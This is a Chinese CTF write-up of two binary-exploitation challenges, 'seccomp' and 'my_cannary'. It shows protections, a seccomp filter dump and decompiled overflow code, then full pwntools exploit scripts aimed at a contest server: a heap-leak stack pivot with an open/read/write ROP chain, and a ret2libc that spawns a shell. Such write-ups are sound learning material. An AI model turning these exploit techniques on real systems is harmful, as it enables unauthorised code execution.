安恒杯丨新春祈福赛

January 30, 2020 CTF-Writeup 访问: 25 次

GXYCTF的原题,当时没参加这个比赛,借此机会做一下

seccomp

该题目开启的保护如下所示,不能够开启shell来获取flag,按照之前的办法只能是通过ROP来拿到shell

 radish ➜ 安恒月赛  checksec --file seccomp
[*] '/media/psf/Home/MyFile/ctf/\xe5\xae\x89\xe6\x81\x92\xe6\x9c\x88\xe8\xb5\x9b/seccomp'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
 radish ➜ 安恒月赛  seccomp-tools dump seccomp
/bin/sh: 1: seccomp: not found
 radish ➜ 安恒月赛  seccomp-tools dump ./seccomp
1 create
2 think
3 delete
4
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x03 0xc000003e  if (A != ARCH_X86_64) goto 0005
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x01 0x00 0x40000000  if (A >= 0x40000000) goto 0005
 0004: 0x15 0x04 0x00 0x000000e7  if (A == exit_group) goto 0009
 0005: 0x15 0x03 0x00 0x00000000  if (A == 0) goto 0009
 0006: 0x15 0x02 0x00 0x00000001  if (A == 1) goto 0009
 0007: 0x15 0x01 0x00 0x00000002  if (A == 2) goto 0009
 0008: 0x06 0x00 0x00 0x00000000  return KILL
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 radish ➜ 安恒月赛

在IDA审计的时候发现一处溢出

__int64 m()
{
  char buf; // [rsp+0h] [rbp-10h]
  char s1[4]; // [rsp+Ch] [rbp-4h]
  do
  {
    puts("1 create");
    puts("2 think");
    puts("3 delete");
    read(0, &buf, 0x18uLL);                     // 溢出
    *s1 = atoi(&buf);
    if ( *s1 > 0 && *s1 <= 3 )
      (*(&fun + *s1 - 1))();
  }
  while ( strcmp(s1, &s2) );
  return 0LL;
}

然后其他的没有什么漏洞,一开始我没想到要把粘迁移到堆上,后来看来其他人的思路才明白怎么做的
EXP:

from pwn import *
import sys
context.log_level='debug'
debug = 0
file_name = './seccomp'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = '183.129.189.60'
prot = '10012'
if debug:
    r = process(file_name)
    libc = ELF(libc_name)
else:
    r = remote(ip,int(prot))
    libc = ELF(libc_name)
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
def add(num,value):
    ru('delete')
    sl('1')
    ru('index')
    sl(str(num))
    ru('code')
    sl(value)
def delete(index):
    ru('delete')
    sl('3')
    ru('index')
    sl(str(index))
def test(index,size,code):
    ru("delete")
    sl('2')
    ru("index")
    sl(str(index))
    ru('size')
    sl(str(size))
    ru('give me your code')
    sl(code)
    data = rud("create")
    return data
def debug():
    gdb.attach(r,"b *0x000000000400C0B")
    raw_input()
add(0,"a")
add(1,"b")
delete(0)
delete(1)
add(0,"")#0x10
heap = "\x00"
for x in range(3):
    for y in range(256):
        heap_test = heap + chr(y)
        a = test(0,x+2,heap_test)
        if a[1]=='y':
            heap = heap_test
            break
'''
0x0000000000400c6c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c6e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c70 : pop r14 ; pop r15 ; ret
0x0000000000400c72 : pop r15 ; ret
0x0000000000400c6b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c6f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400800 : pop rbp ; ret
0x0000000000400978 : pop rbx ; pop rbp ; ret
0x0000000000400c73 : pop rdi ; ret
0x0000000000400c71 : pop rsi ; pop r15 ; ret
0x0000000000400c6d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b1 : ret
0x0000000000400c73 : pop rdi ; ret
0x00000000000202e8 : pop rsi ; ret
0x0000000000001b92 : pop rdx ; ret
open()
'''
p_rdi = 0x0000000000400c73
pp_rsi = 0x0000000000400c71
ppp_r = 0x0000000000400c6e
pp_r = 0x0000000000400c70
p_rbp_r = 0x0000000000400800
heap_addr = u32(heap)
li("heap_addr",heap_addr)
add(1,"./flag\x00")#0x10
target_stack_addr = heap_addr +0x60+0x8
add(2,p64(p_rbp_r)+p64(target_stack_addr+0x100)+p64(ppp_r))#0x70
add(3,p64(p_rdi)+p64(file.got['puts'])+p64(file.plt['puts'])+p64(pp_r))#0xa0
add(4,p64(p_rdi)+p64(0)+p64(ppp_r))#0xd0
add(5,p64(pp_rsi)+p64(heap_addr+0x120)+p64(0)+p64(file.plt['read']))#0x100
add(6,"a"*0x20)#0x130
# add(3,"a"*8+"b"*8+"c"*8+"d"*8)
ru("delete")
sl("5"+"\x00"*0xf+p64(target_stack_addr))
# debug()
sl("4")
ru("seccomp\n")
libc_base = u64(r.recv(6)+"\x00\x00")-libc.symbols['puts']
li("libc_base",libc_base)
# debug()
flag_addr = 0x000000000602160
p_rsi = 0x00000000000202e8+libc_base
p_rdx = 0x0000000000001b92 + libc_base
open_addr = libc_base + libc.symbols['open']
payload = p64(p_rdi)+p64(heap_addr+0x10)+p64(p_rsi)+p64(0)+p64(open_addr)
payload += p64(p_rdi)+p64(3)+p64(p_rsi)+p64(flag_addr)+p64(p_rdx)+p64(0x30)+p64(file.plt['read'])
payload += p64(p_rdi)+p64(1)+p64(p_rsi)+p64(flag_addr)+p64(p_rdx)+p64(0x30)+p64(file.plt['write'])
sl(payload)
# sign = test(0,1,"b")
ri()

my_cannary

这个题的汇编中我感觉添加了一些没有用的代码,我把它nop掉之后程序流程如下

void __fastcall test(__int64 a1)
{
  char buf; // [rsp+10h] [rbp-40h]
  __int64 v2; // [rsp+40h] [rbp-10h]
  __int64 v3; // [rsp+48h] [rbp-8h]
  v3 = a1;
  v2 = malloc(8uLL);
  *v2 = a1;
  puts("Now let's begin");
  read(0, &buf, 0x80uLL);
  if ( v3 ^ v2 )
  {
    puts("Erro here,try again");
    exit(0);
  }
}

看这个伪代码就容易做了,直接ret2libc即可
EXP:

from pwn import *
# from LibcSearcher import *
context.log_level='debug'
debug = 0
file_name = './my_cannary'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = '183.129.189.60'
prot = '10013'
if debug:
    r = process(file_name)
    libc = ELF(libc_name)
else:
    r = remote(ip,int(prot))
    libc = ELF(libc_name)
def debug():
    gdb.attach(r)
    raw_input()
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
ru("Now let's begin")
test_addr = 0x0000000004008EA
p_rdi = 0x0000000000400a43
payload = "a"*0x30+p64(0x400b20)+p64(0x776f6e6b20756f79)+"a"*8+p64(p_rdi)+p64(file.got['puts'])+p64(file.plt['puts'])+p64(test_addr)
# debug()
sd(payload)
data = rud("Now let's begin")
# print data.encode("hex")
libc_base = u64(data[1:7]+"\x00\x00")-libc.symbols['puts']
li("libc_base",libc_base)
binsh = 0x000000000018cd57+ libc_base
payload = "a"*0x30+p64(0x400b20)+p64(0x776f6e6b20756f79)+"a"*8+p64(p_rdi)+p64(binsh)+p64(file.plt['system'])+p64(test_addr)
sd(payload)
ri()

添加新评论